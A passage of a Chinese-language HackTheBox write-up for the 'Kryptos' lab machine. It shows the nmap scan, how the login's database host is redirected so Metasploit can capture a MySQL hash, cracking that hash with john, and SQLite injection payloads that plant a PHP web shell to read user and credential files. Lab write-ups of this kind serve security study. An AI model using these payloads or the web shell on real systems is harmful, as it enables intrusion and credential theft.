╭─root@vultr ~ ╰─# cat nmap.sh #!/bin/bash ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -sC -sV $1 ╭─kali@kali ~ ╰─$ ./nmap.sh 10.10.10.129 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 15:31 UTC Nmap scan report for 10.10.10.129 Host is up (0.0035s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA) | 256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA) |_ 256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Cryptor Login Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds
Error codes starting at 2000 are client errors. These include errors like:
Error: 2005 (CR_UNKNOWN_HOST) Message: Unknown MySQL server host ‘%s’ (%d)
Error: 2003 (CR_CONN_HOST_ERROR) Message: Can’t connect to MySQL server on ‘%s’ (%d)
根据MySQL官方手册查询到错误1044表示权限不正确:
1 2
Error number: 1044; Symbol: ER_DBACCESS_DENIED_ERROR; SQLSTATE: 42000 Message: Access denied for user '%s'@'%s' to database '%s'
错误2002表示无法和local MySQL服务器建立连接:
1 2
Error number: 2002; Symbol: CR_CONNECTION_ERROR; Message: Can't connect to local MySQL server through socket '%s' (%d)
将db修改为:
1
db=cryptor;host=10.10.14.6;port=3306
然后请求,burp抓包,为了方便起见,修改下burp的参数,这样每次抓包就不用手动修改db参数了:
在攻击机kali上监听本地端口3306:
可以看到返回的是connect to [10.10.14.5] from (UNKNOWN) [10.10.10.129] 34662,这说明目标服务器确实在尝试联系我们的攻击机3306端口(ps:这里ip地址改变是因为htb使用的openvpn给我重新分配了地址,后面还会发生变化,但是都是10.10.14.xx)。
停止监听后,返回状态码2006:
查阅官方手册,状态码2006表示mysql 服务被关闭了,和我们的测试情况保持一致:
1 2
Error number: 2006; Symbol: CR_SERVER_GONE_ERROR; Message: MySQL server has gone away
msf5 > use auxiliary/server/capture/mysql msf5 auxiliary(server/capture/mysql) > show options
Module options (auxiliary/server/capture/mysql):
Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 112233445566778899AABBCCDDEEFF1122334455 yes The 16 byte challenge JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 3306 yes The local port to listen on. SRVVERSION 5.5.16 yes The server version to report in the greeting response SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated)
╭─kali@kali ~ ╰─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt mysql_hash Using default input encoding: UTF-8 Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status krypt0n1te (?) 1g 0:00:00:03 DONE (2020-12-05 01:05) 0.2857g/s 1843Kp/s 1843Kc/s 1843KC/s kryptic11..krovallo Use the "--show" option to display all of the cracked passwords reliably Session completed
╭─kali@kali ~ ╰─$ sudo mysql -uroot -proot Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 38 Server version: 10.3.22-MariaDB-1 Debian buildd-unstable
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
╭─kali@kali ~ ╰─$ netstat -lanp | grep 3306 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
╭─kali@kali ~ ╰─$ sudo service mysql restart ╭─kali@kali ~ ╰─$ netstat -lanp | grep 3306 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 10.10.14.6:3306 0.0.0.0:* LISTEN -
SELECT username, password FROM users WHERE username='admin' AND password='21232f297a57a5a743894a0e4a801fc3' ,....z.#42S02Table 'cryptor.users' doesn't exist
╭─kali@kali ~/Kryptos ╰─$ echo -n PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4KPGh0bWw+PGhlYWQ+Cjx0aXRsZT4zMDEgTW92ZWQgUGVybWFuZW50bHk8L3RpdGxlPgo8L2hlYWQ+PGJvZHk+CjxoMT5Nb3ZlZCBQZXJtYW5lbnRseTwvaDE+CjxwPlRoZSBkb2N1bWVudCBoYXMgbW92ZWQgPGEgaHJlZj0iaHR0cDovLzEyNy4wLjAuMS9kZXYvIj5oZXJlPC9hPi48L3A+Cjxocj4KPGFkZHJlc3M+QXBhY2hlLzIuNC4yOSAoVWJ1bnR1KSBTZXJ2ZXIgYXQgMTI3LjAuMC4xIFBvcnQgODA8L2FkZHJlc3M+CjwvYm9keT48L2h0bWw+Cg== | base64 -d <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://127.0.0.1/dev/">here</a>.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address> </body></html>
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/index.php\?view\=about admin admin 10.10.14.12 [*] Your token is 9de8dee09e6661f47e7f3ecf08730bcd6bb5794c8eb710427c15bcf759e51eee [*] Login success, the cookies is r7lvmms6lr6adfpdpavikmduif [*] Get the source file...... <html> <head> </head> <body> <divclass="menu"> <ahref="index.php">Main Page</a> <ahref="index.php?view=about">About</a> <ahref="index.php?view=todo">ToDo</a> </div> This is about page </body> </html>
/dev/index.php?view=todo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<html> <head> </head> <body> <divclass="menu"> <ahref="index.php">Main Page</a> <ahref="index.php?view=about">About</a> <ahref="index.php?view=todo">ToDo</a> </div> <h3>ToDo List:</h3> 1) Remove sqlite_test_page.php <br>2) Remove world writable folder which was used for sqlite testing <br>3) Do the needful <h3> Done: </h3> 1) Restrict access to /dev <br>2) Disable dangerous PHP functions
</body> </html>]
发现了新文件sqlite_test_page.php:
1 2 3 4 5 6 7 8 9 10
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php admin admin 10.10.14.33 [*] Your token is c24933e058bd78db4326ad57750ff2ce094feaa3dad9a0368d9094e3044f0db4 [*] Login success, the cookies is t488iuurav9ig63sfd768us44p [*] Get the source file...... <html> <head></head> <body> </body> </html>
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php\?no_results\=1111\&bookid\=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3b+CREATE+TABLE+evil.pwn1+\(dataz+text\)%3b+INSERT+INTO+evil.pwn1+\(dataz\)+VALUES+\(%27%3c%3fphp+phpinfo\(\)%3b%3f%3e%27\)%3b admin admin 10.10.14.33 [*] Your token is c74c2891ff701de5cdd4d0731c4dc530cabdd8befe1b9e9e430e88f1946a744d [*] Login success, the cookies is nhvjr1q51cbugevg3go1t9hd56 [*] Get the source file...... <html> <head></head> <body> Opened database successfully Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil; CREATE TABLE evil.pwn1 (dataz text); INSERT INTO evil.pwn1 (dataz) VALUES ('<?php phpinfo();?>'); </body> </html>
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php\?no_results\=1111\&bookid\=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3bCREATE+TABLE+evil.attack2+\(dataz+text\)%3bINSERT+INTO+evil.attack2+\(dataz\)+VALUES+\(%27%3c%3fphp+print_r\(scandir\(%24_GET%5b%22dir%22%5d\)\)%3b+print_r\(file_get_contents\(%24_GET%5b%22file%22%5d\)\)%3b%3f%3e%27\)%3b admin admin 10.10.14.33 [*] Your token is 80049ea49df4f27b4dbee72c9f95f0d6f0c764e00adba83ddd67e4bd40605129 [*] Login success, the cookies is n1b610f89l9egi0sjf50j8rhov [*] Get the source file...... <html> <head></head> <body> Opened database successfully Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil;CREATE TABLE evil.attack2 (dataz text);INSERT INTO evil.attack2 (dataz) VALUES ('<?php print_r(scandir($_GET["dir"])); print_r(file_get_contents($_GET["file"]));?>'); </body> </html>
上传后尝试读取当前目录:
1 2 3 4 5 6 7 8 9 10 11 12
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?dir\=./ admin admin 10.10.14.33 [*] Your token is 7b6bae368b9beb9ca8c2ad044025a23ac3ba9c1731398db01fedd3e75a87509f [*] Login success, the cookies is 8u40s4ci3kaf4n2cruc6iacnfk [*] Get the source file...... ��U�1Arraytack2attack2CREATE TABLE attack2 (dataz text) ( [0] => . [1] => .. [2] => books.db [3] => evil.php )
读取user.txt
成功读取之后,查看/home目录:
1 2 3 4 5 6 7 8 9 10 11
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?dir\=/home admin admin 10.10.14.33 [*] Your token is ecb9a4db1d9c7bbee73b4e35ed0de8b31ccdf9c9b6b778d83d87f330f5e46e39 [*] Login success, the cookies is ut0hq6amahgl185m3puovd7pu1 [*] Get the source file...... ��U�1Arraytack2attack2CREATE TABLE attack2 (dataz text) ( [0] => . [1] => .. [2] => rijndael )
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/user.txt admin admin 10.10.14.33 [*] Your token is af1b8af26780b8c8b32a0a92d6a9df917d9d45efad52a4582559d82c56cafe4c [*] Login success, the cookies is brpe5h8dkg0144gu8pbeqjgog3 [*] Get the source file...... ��U�1
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/creds.txt admin admin 10.10.14.33 [*] Your token is 6fa1fbe5878fb2abdf762477457a1534e514d323a7cf3365edd313315f29c8d2 [*] Login success, the cookies is lph517q3oil6c1o12cqgtftht8 [*] Get the source file...... ��U�1VimCrypt~02!tack2CREATE TABLE attack2 (dataz text) vnd]KyYC}56gMRAn
读取creds.old:
1 2 3 4 5 6
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/creds.old admin admin 10.10.14.33 [*] Your token is 8bf4be518afffac25223c95d820120f4c5c48d78be90ee6ac8993fd81050041c [*] Login success, the cookies is ee89he50mg3es79ab5fsa53400 [*] Get the source file...... ��U�1rijndael / Password1ATE TABLE attack2 (dataz text)
╭─kali@kali ~/Kryptos/rc4_decryptor ╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/creds.txt admin admin 10.10.14.33 [*] Your token is 4dbcc65931d5c7ad4f97efb713d92631f41b75239a5a93fe1493aea213d55f3d [*] Login success, the cookies is dh7322cq7l5s8eng32gaoamc9e [*] Get the source file...... ��f�SableattackattackCREATE TABLE attack (dataz text)